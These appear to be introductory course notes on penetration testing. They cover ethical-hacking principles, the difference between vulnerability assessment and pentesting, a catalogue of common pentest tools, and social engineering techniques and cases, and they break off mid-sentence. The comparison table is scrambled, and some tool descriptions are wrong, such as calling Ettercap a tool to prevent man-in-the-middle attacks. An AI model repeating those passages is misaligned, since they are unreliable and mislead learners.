VULNERABILITY ASSESSMENT AND PENETRATION TESTING

Unit-1

Introduction Ethics of Ethical Hacking:

Ethical hacking, also known as penetration testing or white-hat hacking, is the practice of identifying
vulnerabilities and weaknesses in computer systems, networks, or applications with the permission of the
system owner. The primary goal of ethical hacking is to proactively assess and improve the security
posture of the target system by exposing potential vulnerabilities before malicious hackers can exploit
them.

Ethical hackers, often referred to as "white hats," use the same tools and techniques as malicious hackers
("black hats") to assess and evaluate the security of a system. However, unlike malicious hackers who
exploit vulnerabilities for personal gain or to cause harm, ethical hackers follow strict guidelines and a
code of ethics to ensure their actions remain lawful and beneficial.

Key principles of the Ethics of Ethical Hacking:

1. Permission: Ethical hackers must obtain explicit written permission from the owner of the target system
or network before initiating any security assessments. Unauthorized hacking is illegal and unethical.
2. Legality: Ethical hackers must adhere to all applicable laws and regulations governing computer security
and privacy. They should not engage in any activities that could be considered illegal, such as stealing
data, spreading malware, or disrupting services.
3. Disclosure and Consent: Before conducting security assessments, ethical hackers must inform the
system owner of the purpose, scope, and methodologies they intend to use. The owner should provide
informed consent, and the scope of the engagement should be clearly defined.
4. Confidentiality: Ethical hackers are often exposed to sensitive information during their assessments.
They must maintain strict confidentiality and not disclose any information obtained during the testing to
unauthorized parties.
5. No Damage: Ethical hackers must exercise caution during their assessments to avoid causing damage to
the target system. Their actions should not disrupt normal operations or compromise the integrity of data.
6. Responsibility and Professionalism: Ethical hackers should demonstrate a high level of responsibility,
professionalism, and expertise in their work. They should prioritize fixing discovered vulnerabilities and
work collaboratively with the system owner to enhance security.
7. Continuous Learning: As technology and hacking techniques evolve, ethical hackers must continually
update their knowledge and skills to stay relevant and effective in their role.

Benefits of Ethical Hacking:

Ethical hacking plays a crucial role in enhancing cybersecurity. Some of the key benefits include:

1. Identifying Vulnerabilities: Ethical hacking helps in discovering vulnerabilities before malicious

hackers can exploit them, allowing organizations to take proactive measures to secure their systems.
2. Preventing Data Breaches: By identifying and patching security weaknesses, ethical hacking helps
prevent data breaches and unauthorized access to sensitive information.
3. Regulatory Compliance: Ethical hacking assists organizations in meeting regulatory requirements and
industry standards related to data security.
4. Enhancing Customer Trust: When organizations take cybersecurity seriously and engage in ethical
hacking, it boosts customer confidence in their ability to protect their data.

Conclusion:

Ethical hacking is a critical component of a comprehensive cybersecurity strategy. By adhering to a strict

code of ethics and following established guidelines, ethical hackers can make significant contributions to
safeguarding digital assets and protecting against cyber threats. It is essential for organizations to
embrace ethical hacking as a proactive measure to strengthen their security and stay one step ahead of
malicious actors.

Why you need to understand your enemy’s tactics:

Understanding your enemy's tactics is essential in ethical hacking for several reasons:

1. Proactive Defense: Ethical hackers aim to identify and fix vulnerabilities before malicious hackers can
exploit them. By understanding the tactics used by potential adversaries, ethical hackers can preemptively
strengthen the system's defenses against specific attack vectors.
2. Real-World Simulation: Ethical hacking involves simulating real-world attack scenarios. By
understanding the tactics and techniques commonly employed by malicious hackers, ethical hackers can
create more accurate and effective simulations, providing a comprehensive evaluation of the system's
security posture.
3. Targeted Assessments: Malicious hackers often have specific goals and preferences for attacking certain
types of systems or industries. Understanding these preferences allows ethical hackers to tailor their
assessments to the most relevant and likely threats faced by their clients.
4. Tool Selection: Ethical hackers utilize a variety of tools and techniques during their assessments.
Knowing the tactics used by adversaries helps them select appropriate tools and methodologies to
effectively mimic potential threats.
5. Evasive Techniques: Malicious hackers continuously evolve their tactics to evade detection and bypass
security measures. Ethical hackers must stay informed about the latest attack trends and evasion
techniques to keep up with potential adversaries and identify new attack vectors.
6. Insight into Motivations: Understanding the motivations of malicious hackers can help ethical hackers
predict potential targets and the specific assets attackers might be interested in compromising. This
insight allows for a more focused and thorough assessment of critical areas.
7. Defense in Depth: A comprehensive defense strategy involves multiple layers of security. Understanding
the tactics used by attackers can help organizations implement a defense-in-depth approach, ensuring that
even if one security layer is breached, other layers can still provide protection.
8. Contextual Awareness: Knowing the tactics used by adversaries provides ethical hackers with a broader
context for assessing vulnerabilities and risks. This contextual awareness helps in prioritizing security
efforts and addressing the most critical issues first.
9. Incident Response Preparedness: Ethical hackers can help organizations develop effective incident
response plans by understanding how attackers operate and what indicators of compromise to look for in
the event of a security breach.
10. Continuous Improvement: Ethical hacking is not a one-time activity. Understanding enemy tactics
allows organizations to learn from each assessment, adapt their defenses, and continuously improve their
security posture over time.
 In conclusion, understanding the tactics of potential adversaries is fundamental in ethical hacking to
ensure comprehensive and effective security assessments, proactively strengthen defenses, and maintain a
proactive and robust security posture against emerging cyber threats. It helps ethical hackers simulate
real-world scenarios, tailor their assessments, and stay one step ahead of malicious actors to protect
critical assets and data.
Recognizing the gray areas in security:
Recognizing the gray areas in security is crucial because it highlights the complexities and ambiguities
that often arise when dealing with cybersecurity and ethical considerations. Security-related decisions and
actions can sometimes fall into morally or legally ambiguous territory. Understanding these gray areas is
essential for individuals, organizations, and policymakers to make informed and ethical choices. Here are
some examples of gray areas in security:

1. Vulnerability Disclosure: When security researchers discover vulnerabilities in software or systems,

they face a dilemma about how and when to disclose them to the public or the affected organization.
Immediate disclosure might help users protect themselves, but it can also expose them to attacks if a fix is
not readily available. Balancing responsible disclosure with the urgency of protecting users is a common
gray area.
2. Bug Bounties and Responsible Exploitation: Organizations often offer bug bounties to incentivize
ethical hackers to report vulnerabilities. However, the process of responsibly exploiting a vulnerability to
demonstrate its severity while avoiding causing harm can be challenging to navigate ethically.
3. Defensive Hacking: In some cases, security professionals may engage in hacking activities to
preemptively assess and strengthen the security of a system, even without explicit permission. While their
intentions may be ethical, the legal and ethical implications of such actions can be unclear.
4. Encryption and Privacy: Balancing the need for strong encryption to protect user privacy and secure
communications with the concerns of law enforcement and national security agencies seeking access to
encrypted data is a complex and ongoing debate.
5. Cyber Warfare and National Security: Determining the appropriate response to cyber-attacks on a
national or international level can be challenging, as attribution is often difficult, and the potential
consequences of retaliation raise ethical dilemmas.
6. IoT and Data Collection: The Internet of Things (IoT) devices often collect vast amounts of user data,
raising concerns about privacy, data ownership, and the appropriate use of that data.
7. Cybersecurity Research and Disclosure Incentives: Ethical researchers may face legal risks when
probing security flaws in certain systems or services. Determining appropriate legal protections and
incentives for responsible disclosure is an ongoing challenge.
8. Automated Hacking Tools: The use of automated hacking tools and artificial intelligence in security
assessments raises questions about their responsible use and potential unintended consequences.
9. Hacking Back and Active Defense: The concept of "hacking back" or engaging in active defense against
attackers can lead to retaliation and escalation, posing ethical and legal concerns.

Navigating these gray areas requires a holistic approach that takes into account not only technical aspects
but also legal, ethical, and societal considerations. Open dialogues, collaborations between security
researchers, policymakers, and industry stakeholders, and adherence to established ethical guidelines can
help address these challenges responsibly. As the cybersecurity landscape evolves, continually
 reevaluating and refining our understanding of the gray areas becomes essential to ensure a safer and
more secure digital world.

Vulnerability Assessment and Penetration Testing:

Vulnerability Assessment and Penetration Testing (VAPT) are two essential components of a
comprehensive cybersecurity strategy. Both are designed to identify and address security weaknesses in a
system, network, or application, but they differ in their approach and objectives.

Vulnerability Assessment: A vulnerability assessment is a systematic process of identifying security

vulnerabilities and weaknesses in a target system. The primary goal is to scan and analyze the system for
known vulnerabilities and misconfigurations. Vulnerability assessments are typically automated and use
specialized software tools to scan networks, systems, and applications. The assessment results in a list of
identified vulnerabilities, along with their severity levels, allowing organizations to prioritize and address
them.

Key characteristics of Vulnerability Assessment:

1. Automated Scanning: Vulnerability assessments are often automated, making them efficient for
identifying common and widespread vulnerabilities across a large number of systems.
2. Non-Intrusive: Vulnerability assessments are non-intrusive, meaning they do not actively exploit
vulnerabilities or attempt to gain unauthorized access.
3. Identification of Known Vulnerabilities: Vulnerability assessments focus on known security flaws and
weaknesses that have already been documented and categorized.
4. Risk Prioritization: The assessment provides a list of vulnerabilities with severity ratings, enabling
organizations to prioritize and allocate resources effectively.
5. Frequency: Vulnerability assessments can be conducted regularly and frequently to maintain an up-to-
date understanding of a system's security posture.

Penetration Testing: Penetration testing, also known as pen testing or ethical hacking, involves
simulating real-world attacks to identify and exploit vulnerabilities. The primary goal is to assess the
effectiveness of existing security controls and identify weaknesses that may not be detected by automated
vulnerability scanning alone. Penetration tests are conducted by skilled cybersecurity professionals,
known as ethical hackers or pen testers, who attempt to gain unauthorized access to the system or data.

Key characteristics of Penetration Testing:

1. Manual and Active Testing: Penetration testing involves manual and active testing techniques, where
ethical hackers simulate actual attacks to exploit vulnerabilities.
2. Real-World Simulation: Pen testers mimic the tactics and techniques used by malicious hackers to
identify potential security risks.
3. Exploitation and Validation: Unlike vulnerability assessments, penetration testing aims to exploit
identified vulnerabilities to verify their potential impact on the system.
4. Limited Scope and Depth: Penetration tests typically have a well-defined scope, focusing on specific
targets and objectives to simulate real-world attack scenarios.
5. Intrusive Testing: Penetration testing involves intrusively assessing security controls, so it requires the
explicit permission of the system owner.

Complementing Each Other: Vulnerability assessments and penetration testing are complementary
activities. Vulnerability assessments provide a foundational understanding of known weaknesses, while
penetration testing adds depth and insight by validating the impact of potential exploits. Combining both
approaches allows organizations to have a more comprehensive view of their security posture and
prioritize their remediation efforts effectively.

In summary, vulnerability assessments and penetration testing are critical components of proactive
cybersecurity measures. Vulnerability assessments help identify known weaknesses, while penetration
testing evaluates a system's resilience against real-world attacks. By integrating these practices,
organizations can proactively strengthen their security defenses and protect against evolving cyber
threats.
Differences between Penetration Testing and Vulnerability Assessments :

S.No. Penetration Testing Vulnerability Assessments

This is meant for non-critical systems.
1. This is meant for critical real-time systems.
This is ideal for physical environments and network This is ideal for lab environments.
2. architecture.
Comprehensive analysis and through
review of the target system and its
It is non-intrusive, documentation and environmental environment.
3. review and analysis.
It attempt to mitigate or eliminate the
potential vulnerabilities of valuable
resources.
4. It cleans up the system and gives final report.
It allocates quantifiable value and
It gathers targeted information and/or inspect the significance to the available resources.
5. system.
It discovers the potential threats to each
resource.
6. It tests sensitive data collection.
It makes a directory of assets and
resources in a given system.
7. It determines the scope of an attack.
The main focus is to discovers unknown and The main focus is to lists known software
8. exploitable weaknesses in normal business processes. vulnerabilities that could be exploited.
9. It is a simulated cyberattack carried out by It is an automated assessment performed
experienced ethical hackers in a well-defined and with the help of automated tools.
 controlled environment.
This is a goal-oriented procedure that should be This cost-effective assessment method is
10. carried out in a controlled manner. often considered safe to perform.
It only identifies the exploitable security It identifies, categorizes, and quantifies
11. vulnerabilities. security vulnerabilities.

Penetration Testing and Tools:

What Is Penetration Testing?

Penetration testing, also known as pen testing, means computer securities experts use to detect and take
advantage of security vulnerabilities in a computer application. These experts, who are also known as
white-hat hackers or ethical hackers, facilitate this by simulating real-world attacks by criminal hackers
known as black-hat hackers.

In effect, conducting penetration testing is similar to hiring security consultants to attempt a security
attack of a secure facility to find out how real criminals might do it. The results are used by organizations
to make their applications more secure.

How Penetration Tests Work

First, penetration testers must learn about the computer systems they will be attempting to breach. Then,
they typically use a set of software tools to find vulnerabilities. Penetration testing may also
involve social engineering hacking threats. Testers will try to gain access to a system by tricking a
member of an organization into providing access.
Penetration testers provide the results of their tests to the organization, which are then responsible for
implementing changes that either resolve or mitigate the vulnerabilities.

Types of Penetration Tests

Penetration testing can consist of one or more of the following types of tests:

White Box Tests

A white box test is one in which organizations provide the penetration testers with a variety of security
information relating to their systems, to help them better find vulnerabilities.

Blind Tests

A blind test, known as a black-box test, organizations provide penetration testers with no security
information about the system being penetrated. The goal is to expose vulnerabilities that would not be
detected otherwise.

Double-Blind Tests

A double-blind test, which is also known as a covert test, is one in which not only do organizations not
provide penetration testers with security information. They also do not inform their own computer
security teams of the tests. Such tests are typically highly controlled by those managing them.

External Tests

An external test is one in which penetration testers attempt to find vulnerabilities remotely. Because of the
nature of these types of tests, they are performed on external-facing applications such as websites.
Internal Tests

An internal test is one in which the penetration testing takes place within an organization’s premises.
These tests typically focus on security vulnerabilities that someone working from within an organization
could take advantage of.

Top Penetration Testing Software & Tools

1. Netsparker

Netsparker Security Scanner is a popular automatic web application for penetration testing. The software
can identify everything from cross-site scripting to SQL injection. Developers can use this tool on
websites, web services, and web applications.

The system is powerful enough to scan anything between 500 and 1000 web applications at the same
time. You will be able to customize your security scan with attack options, authentication, and URL
rewrite rules. Netsparker automatically takes advantage of weak spots in a read-only way. Proof of
exploitation is produced. The impact of vulnerabilities is instantly viewable.

Benefits:

 Scan 1000+ web applications in less than a day!

 Add multiple team members for collaboration and easy shareability of findings.
 Automatic scanning ensures a limited set up is necessary.
 Searches for exploitable SQL and XSS vulnerabilities in web applications.
 Legal web application and regulatory compliance reports.
 Proof-based scanning Technology guarantees accurate detection.

2. Wireshark

Once known as Ethereal 0.2.0, Wireshark is an award-winning network analyzer with 600 authors. With
this software, you can quickly capture and interpret network packets. The tool is open-source and
available for various systems, including Windows, Solaris, FreeBSD, and Linux.

Benefits:

 Provides both offline analysis and live-capture options.

 Capturing data packets allows you to explore various traits, including source and destination
protocol.
 It offers the ability to investigate the smallest details for activities throughout a network.
 Optional adding of coloring rules to the pack for rapid, intuitive analysis.

3. Metasploit

Metasploit is the most used penetration testing automation framework in the world. Metasploit helps
professional teams verify and manage security assessments, improves awareness, and arms and empowers
defenders to stay a step ahead in the game.
It is useful for checking security and pinpointing flaws, setting up a defense. An Open source software,
this tool will allow a network administrator to break in and identify fatal weak points. Beginner hackers
use this tool to build their skills. The tool provides a way to replicates websites for social engineers.

Benefits:

 Easy to use with GUI clickable interface and command line.

 Manual brute-forcing, payloads to evade leading solutions, spear phishing, and awareness, an app
for testing OWASP vulnerabilities.
 Collects testing data for over 1,500 exploits.
 MetaModules for network segmentation tests.
 You can use this to explore older vulnerabilities within your infrastructure.
 Available on Mac Os X, Windows and Linux.
 Can be used on servers, networks, and applications.

4. BeEF

This is a pen testing tool and is best suited for checking a web browser. Adapted for combating web-
borne attacks and could benefit mobile clients. BeEF stands for Browser Exploitation Framework and
uses GitHub to locate issues. BeEF is designed to explore weaknesses beyond the client system and
network perimeter. Instead, the framework will look at exploitability within the context of just one
source, the web browser.

Benefits:

 You can use client-side attack vectors to check security posture.

 Connects with more than one web browser and then launch directed command modules.

5. John The Ripper Password Cracker

Passwords are one of the most prominent vulnerabilities. Attackers may use passwords to steal credentials
and enter sensitive systems. John the Ripper is the essential tool for password cracking and provides a
range of systems for this purpose. The pen testing tool is a free open source software.

Benefits:

 Automatically identifies different password hashes.

 Discovers password weaknesses within databases.
 Pro version is available for Linux, Mac OS X, Hash Suite, Hash Suite Droid.
 Includes a customizable cracker.
 Allows users to explore documentation online. This includes a summary of changes between
separate versions.

6. Aircrack

Aircrack NG is designed for cracking flaws within wireless connections by capturing data packets for an
effective protocol in exporting through text files for analysis. While the software seemed abandoned in
2010, Aircrack was updated again in 2019.
This tool is supported on various OS and platforms with support for WEP dictionary attacks. It offers an
improved tracking speed compared to most other penetration tools and supports multiple cards and
drivers. After capturing the WPA handshake, the suite is capable of using a password dictionary and
statistical techniques to break into WEP.

Benefits:

 Works with Linux, Windows, OS X, FreeBSD, NetBSD, OpenBSD, and Solaris.

 You can use this tool to capture packets and export data.
 It is designed for testing wifi devices as well as driver capabilities.
 Focuses on different areas of security, such as attacking, monitoring, testing, and cracking.
 In terms of attacking, you can perform de-authentication, establish fake access points, and
perform replay attacks.

7. Acunetix Scanner

Acutenix is an automated testing tool you can use to complete a penetration test. The tool is capable of
auditing complicated management reports and issues with compliance. The software can handle a range
of network vulnerabilities. Acunetix is even capable of including out-of-band vulnerabilities.

The advanced tool integrates with the highly enjoyed Issue Trackers and WAFs. With a high-detection
rate, Acunetix is one of the industry’s advanced Cross-site scripting and SQLi testing, which includes
sophisticated advanced detection of XSS.

Benefits:

 The tool covers over 4500 weaknesses, including SQL injection as well as XSS.
 The Login Sequence Recorder is easy-to-implement and scans password-protected areas.
 The AcuSensor Technology, Manual Penetration tools, and Built-in Vulnerability Management
streamline black and white box testing to enhance and enable remediation.
 Can crawl hundreds of thousands of web pages without delay.
 Ability to run locally or through a cloud solution.

8. Burp Suite Pen Tester

There are two different versions of the Burp Suite for developers. The free version provides the necessary
and essential tools needed for scanning activities. Or, you can opt for the second version if you need
advanced penetration testing. This tool is ideal for checking web-based applications. There are tools to
map the tack surface and analyze requests between a browser and destination servers. The framework
uses Web Penetration Testing on the Java platform and is an industry-standard tool used by the majority
of information security professionals.

Benefits:

 Capable of automatically crawling web-based applications.

 Available on Windows, OS X, Linux, and Windows.
9. Ettercap

The Ettercap suite is designed to prevent man in the middle attacks. Using this application, you will be
able to build the packets you want and perform specific tasks. The software can send invalid frames and
complete techniques which are more difficult through other options.

Benefits:

 This tool is ideal for deep packet sniffing as well as monitoring and testing LAN.
 Ettercap supports active and passive dissection of protections.
 You can complete content filtering on the fly.
 The tool also provides settings for both network and host analysis.

10. W3af

W3af web application attack and audit frameworks are focused on finding and exploiting vulnerabilities
in all web applications. Three types of plugins are provided for attack, audit, and discovery. The software
then passes these on to the audit tool to check for flaws in the security.

Benefits:

 Easy to use for amateurs and powerful enough for developers.

 It can complete automated HTTP request generation and raw HTTP requests.
 Capability to be configured to run as a MITM proxy.

11. Nessus

Nessus has been used as a security penetration testing tool for twenty years. 27,000 companies utilize the
application worldwide. The software is one of the most powerful testing tools on the market with over
45,000 CEs and 100,000 plugins. Ideally suited for scanning IP addresses, websites and completing
sensitive data searches. You will be able to use this to locate ‘weak spots’ in your systems.

The tool is straightforward to use and offers accurate scanning and at the click of a button, providing an
overview of your network’s vulnerabilities. The pen test application scans for open ports, weak
passwords, and misconfiguration errors.

Benefits:

 Ideal for locating and identify missing patches as well as malware.

 The system only has .32 defects per every 1 million scans.
 You can create customized reports, including types of vulnerabilities by plugin or host.
 In addition to web application, mobile scanning, and cloud environment, the tool offers priority
remediation.

12. Kali Linux

Kali Linux advanced penetration testing software is a Linux distribution used for penetration testing.
Many experts believe this is the best tool for both injecting and password snipping. However, you will
need skills in both TCP/IP protocol to gain the most benefit. An open-source project, Kali Linux, provides
tool listings, version tracking, and meta-packages.

Benefits:

 With 64 bit support, you can use this tool for brute force password cracking.
 Kali uses a live image loaded into the RAM to test the security skills of ethical hackers.
 Kali has over 600 ethical hacking tools.
 Various security tools for vulnerability analysis, web applications, information gathering,
wireless attacks, reverse engineering, password cracking, forensic tools, web applications,
spoofing, sniffing, exploitation tools, and hardware hacking are available.
 Easy integration with other penetration testing tools, including Wireshark and Metasploit.
 The BackTrack provides tools for WLAN and LAN vulnerability assessment scanning, digital
forensics, and sniffing.

13. SQLmap

SQLmap is an SQL injection takeover tool for databases. Supported database platforms include MySQL,
SQLite, Sybase, DB2, Access, MSSQL, PostgreSQL. SQLmap is open-source and automates the process
of exploiting database servers and SQL injection vulnerabilities.

Benefits:

 Detects and maps vulnerabilities.

 Provides support for all injection methods: Union, Time, Stack, Error, Boolean.
 Runs software at the command line and can be downloaded for Linux, Mac OS, and Windows
systems

14. (SET) Social Engineer Toolkit

Social engineering is the primary focus of the toolkit. Despite the aim and focus, human beings are not
the target of vulnerability scanners.

Benefits:

 It has been featured at top cybersecurity conferences, including ShmooCon, Defcon, DerbyCon
and is an industry-standard for penetration tests.
 SET has been downloaded over 2 million times.
 An open-source testing framework designed for social engineering detection.

15. Zed Attack Proxy

OWASP ZAP (Zed Attack Proxy) is part of the free OWASP community. It is ideal for developers and
testers that are new to penetration testing. The project started in 2010 and is improved daily. ZAP runs in
a cross-platform environment creating a proxy between the client and your website.

Benefits:

 4 modes available with customizable options.

  To install ZAP, JAVA 8+ is required on your Windows or Linux system.
 The help section is comprehensive with a Getting Started (PDF), Tutorial, User Guide, User
Groups, and StackOverflow.
 Users can learn all about Zap development through Source Code, Wiki, Developer Group,
Crowdin, OpenHub, and BountySource.

16. Wapiti

Wapiti is an application security tool that allows black box testing. Black box testing checks web
applications for potential liabilities. During the black box testing process, web pages are scanned, and the
testing data is injected to check for any lapses in security.

 Experts will find ease-of-usability with the command-line application.

 Wapiti identifies vulnerabilities in file disclosure, XSS Injection, Database injection, XXE
injection, Command Execution detection, and easily bypassed compromised .htaccess
configurations.

17. Cain & Abel

Cain & Abel is ideal for procurement of network keys and passwords through penetration. The tool makes
use of network sniffing to find susceptibilities.

 The Windows-based software can recover passwords using network sniffers, cryptanalysis
attacks, and brute force.
 Excellent for recovery of lost passwords.

Social Engineering Attacks:

Social engineering attacks are a type of cyber attack that manipulates individuals into divulging
sensitive information, performing certain actions, or compromising security measures. These
attacks exploit human psychology and behavior rather than relying solely on technical
vulnerabilities.
Social engineering attack techniques

Social engineering attacks come in many different forms and can be performed anywhere where human
interaction is involved. The following are the five most common forms of digital social engineering
assaults.

Baiting
As its name implies, baiting attacks use a false promise to pique a victim’s greed or curiosity. They lure
users into a trap that steals their personal information or inflicts their systems with malware.

The most reviled form of baiting uses physical media to disperse malware. For example, attackers leave
the bait—typically malware-infected flash drives—in conspicuous areas where potential victims are
certain to see them (e.g., bathrooms, elevators, the parking lot of a targeted company). The bait has an
authentic look to it, such as a label presenting it as the company’s payroll list.

Victims pick up the bait out of curiosity and insert it into a work or home computer, resulting in
automatic malware installation on the system.

Baiting scams don’t necessarily have to be carried out in the physical world. Online forms of baiting
consist of enticing ads that lead to malicious sites or that encourage users to download a malware-infected
application.

Scareware
Scareware involves victims being bombarded with false alarms and fictitious threats. Users are deceived
to think their system is infected with malware, prompting them to install software that has no real benefit
(other than for the perpetrator) or is malware itself. Scareware is also referred to as deception software,
rogue scanner software and fraudware.

A common scareware example is the legitimate-looking popup banners appearing in your browser while
surfing the web, displaying such text such as, “Your computer may be infected with harmful spyware
programs.” It either offers to install the tool (often malware-infected) for you, or will direct you to a
malicious site where your computer becomes infected.

Scareware is also distributed via spam email that doles out bogus warnings, or makes offers for users to
buy worthless/harmful services.

Pretexting
Here an attacker obtains information through a series of cleverly crafted lies. The scam is often initiated
by a perpetrator pretending to need sensitive information from a victim so as to perform a critical task.

The attacker usually starts by establishing trust with their victim by impersonating co-workers, police,
bank and tax officials, or other persons who have right-to-know authority. The pretexter asks questions
that are ostensibly required to confirm the victim’s identity, through which they gather important personal
data.

All sorts of pertinent information and records is gathered using this scam, such as social security
numbers, personal addresses and phone numbers, phone records, staff vacation dates, bank records and
even security information related to a physical plant.

Phishing
As one of the most popular social engineering attack types, phishing scams are email and text message
campaigns aimed at creating a sense of urgency, curiosity or fear in victims. It then prods them into
revealing sensitive information, clicking on links to malicious websites, or opening attachments that
contain malware.

An example is an email sent to users of an online service that alerts them of a policy violation requiring
immediate action on their part, such as a required password change. It includes a link to an illegitimate
website—nearly identical in appearance to its legitimate version—prompting the unsuspecting user to
enter their current credentials and new password. Upon form submittal the information is sent to the
attacker.

Given that identical, or near-identical, messages are sent to all users in phishing campaigns, detecting and
blocking them are much easier for mail servers having access to threat sharing platforms.

Spear phishing
This is a more targeted version of the phishing scam whereby an attacker chooses specific individuals or
enterprises. They then tailor their messages based on characteristics, job positions, and contacts belonging
to their victims to make their attack less conspicuous. Spear phishing requires much more effort on behalf
of the perpetrator and may take weeks and months to pull off. They’re much harder to detect and have
better success rates if done skillfully.

A spear phishing scenario might involve an attacker who, in impersonating an organization’s IT

consultant, sends an email to one or more employees. It’s worded and signed exactly as the consultant
normally does, thereby deceiving recipients into thinking it’s an authentic message. The message prompts
recipients to change their password and provides them with a link that redirects them to a malicious page
where the attacker now captures their credentials.

Social engineering is an attack vector that relies heavily on human interaction and often involves
manipulating people into breaking normal security procedures and best practices to gain unauthorized
access to systems, networks or physical locations or for financial gain.

Threat actors use social engineering techniques to conceal their true identities and motives, presenting
themselves as trusted individuals or information sources. The objective is to influence, manipulate or trick
users into releasing sensitive information or access within an organization. Many social engineering
exploits rely on people's willingness to be helpful or fear of punishment. For example, the attacker might
pretend to be a co-worker who has some kind of urgent problem that requires access to additional network
resources.

Social engineering is a popular tactic among attackers because it is often easier to exploit people than it is
to find a network or software vulnerability. Hackers will often use social engineering tactics as a first step
in a larger campaign to infiltrate a system or network and steal sensitive data or disperse malware.

How a social engineering attack works:

How does social engineering work?

Social engineers use a variety of tactics to perform attacks.

The first step in most social engineering attacks is for the attacker to perform research and reconnaissance
on the target. If the target is an enterprise, for instance, the hacker may gather intelligence on the
organizational structure, internal operations, common lingo used within the industry and possible business
partners, among other information.

One common tactic of social engineers is to focus on the behaviors and patterns of employees who have
low-level but initial access, such as a security guard or receptionist; attackers can scan social media
profiles for personal information and study their behavior online and in person.

From there, the social engineer can design an attack based on the information collected and exploit the
weakness uncovered during the reconnaissance phase.
If the attack is successful, the attacker gains access to confidential information, such as Social Security
numbers and credit card or bank account information; makes money off the targets; or gains access to
protected systems or networks.

Types of social engineering attacks

Popular types of social engineering attacks include the following techniques:

 Baiting. An attacker leaves a malware-infected physical device, such as a Universal Serial Bus flash
drive, in a place it is sure to be found. The target then picks up the device and inserts it into their
computer, unintentionally installing the malware.
 Phishing. When a malicious party sends a fraudulent email disguised as a legitimate email, often
purporting to be from a trusted source. The message is meant to trick the recipient into sharing
financial or personal information or clicking on a link that installs malware.
 Spear phishing. This is like phishing, but the attack is tailored for a specific individual or
organization.
 Vishing. Also known as voice phishing, vishing involves the use of social engineering over the phone
to gather financial or personal information from the target.
 Whaling. A specific type of phishing attack, a whaling attack targets high-profile employees, such as
the chief financial officer or chief executive officer, to trick the targeted employee into disclosing
sensitive information.

 These three types of phishing attacks fall under the wider umbrella of social engineering.
 Pretexting. One party lies to another to gain access to privileged data. For example, a pretexting scam
could involve an attacker who pretends to need financial or personal data to confirm the identity of the
recipient.
 Scareware. This involves tricking the victim into thinking their computer is infected with malware or
has inadvertently downloaded illegal content. The attacker then offers the victim a solution that will
 fix the bogus problem; in reality, the victim is simply tricked into downloading and installing the
attacker's malware.
 Watering hole. The attacker attempts to compromise a specific group of people by infecting websites
they are known to visit and trust with the goal of gaining network access.
 Diversion theft. In this type of attack, social engineers trick a delivery or courier company into going
to the wrong pickup or drop-off location, thus intercepting the transaction.
 Quid pro quo. This is an attack in which the social engineer pretends to provide something in
exchange for the target's information or assistance. For instance, a hacker calls a selection of random
numbers within an organization and pretends to be a technical support specialist responding to a
ticket. Eventually, the hacker will find someone with a legitimate tech issue whom they will then
pretend to help. Through this interaction, the hacker can have the target type in the commands to
launch malware or can collect password information.
 Honey trap. In this attack, the social engineer pretends to be an attractive person to interact with a
person online, fake an online relationship and gather sensitive information through that relationship.
 Tailgating. Sometimes called piggybacking, tailgating is when a hacker walks into a secured building
by following someone with an authorized access card. This attack presumes the person with legitimate
access to the building is courteous enough to hold the door open for the person behind them, assuming
they are allowed to be there.
 Rogue security software. This is a type of malware that tricks targets into paying for the fake
removal of malware.
 Dumpster diving. This is a social engineering attack whereby a person searches a company's trash to
find information, such as passwords or access codes written on sticky notes or scraps of paper, that
could be used to infiltrate the organization's network.
 Pharming. With this type of online fraud, a cybercriminal installs malicious code on a computer or
server that automatically directs the user to a fake website, where the user may be tricked into
providing personal information.

Dumpster diving is a type of

social engineering attack.
Examples of social engineering attacks
Perhaps the most famous example of a social engineering attack comes from the legendary Trojan War in
which the Greeks were able to sneak into the city of Troy and win the war by hiding inside a giant
wooden horse that was presented to the Trojan army as a symbol of peace.

In more modern times, Frank Abagnale is considered one of the foremost experts in social engineering
techniques. In the 1960s, he used various tactics to impersonate at least eight people, including an airline
pilot, a doctor and a lawyer. Abagnale was also a check forger during this time. After his incarceration, he
became a security consultant for the Federal Bureau of Investigation and started his own financial fraud
consultancy. His experiences as a young con man were made famous in his best-selling book Catch Me If
You Can and the movie adaptation from Oscar-winning director Steven Spielberg.

Once known as "the world's most wanted hacker," Kevin Mitnick persuaded a Motorola worker to give
him the source code for the MicroTAC Ultra Lite, the company's new flip phone. It was 1992, and
Mitnick, who was on the run from police, was living in Denver under an assumed name. At the time, he
was concerned about being tracked by the federal government. To conceal his location from authorities,
Mitnick used the source code to hack the Motorola MicroTAC Ultra Lite and then sought to change the
phone's identifying data or turn off the ability for cellphone towers to connect to the phone.

To obtain the source code for the device, Mitnick called Motorola and was connected to the department
working on it. He then convinced a Motorola employee that he was a colleague and persuaded that
worker to send him the source code. Mitnick was ultimately arrested and served five years for hacking.
Today, he is a multimillionaire and the author of a number of books on hacking and security. A sought-
after speaker, Mitnick also runs cybersecurity company Mitnick Security.

A more recent example of a successful social engineering attack was the 2011 data breach of security
company RSA. An attacker sent two different phishing emails over two days to small groups of RSA
employees. The emails had the subject line "2011 Recruitment Plan" and contained an Excel file
attachment. The spreadsheet contained malicious code that, once the file was opened, installed a backdoor
through an Adobe Flash vulnerability. While it was never made clear exactly what information was
stolen, if any, RSA's SecurID two-factor authentication (2FA) system was compromised, and the
company spent approximately $66 million recovering from the attack.

In 2013, the Syrian Electronic Army was able to access the Associated Press' (AP) Twitter account by
including a malicious link in a phishing email. The email was sent to AP employees under the guise of
being from a fellow employee. The hackers then tweeted a fake news story from AP's account that said
two explosions had gone off in the White House and then-President Barack Obama had been injured. This
garnered such a significant reaction that the Dow Jones Industrial Average dropped 150 points in under 5
minutes.

Also in 2013, a phishing scam led to the massive data breach of Target. A phishing email was sent to
a heating, ventilation and air conditioning subcontractor that was one of Target's business partners. The
email contained the Citadel Trojan, which enabled attackers to penetrate Target's point-of-sale systems
and steal the information of 40 million customer credit and debit cards. That same year, the U.S.
Department of Labor was targeted by a watering hole attack, and its websites were infected with malware
through a vulnerability in Internet Explorer that installed a remote access Trojan called Poison Ivy.
In 2015, cybercriminals gained access to the personal AOL email account of John Brennan, then the
director of the Central Intelligence Agency. One of the hackers explained to media outlets how he used
social engineering techniques to pose as a Verizon technician and request information about Brennan's
account with Verizon. Once the hackers obtained Brennan's Verizon account details, they contacted AOL
and used the information to correctly answer security questions for Brennan's email account.

Preventing social engineering

There are a number of strategies companies can take to prevent social engineering attacks, including the
following:

 Make sure information technology departments are regularly carrying out penetration testing that uses
social engineering techniques. This will help administrators learn which types of users pose the most
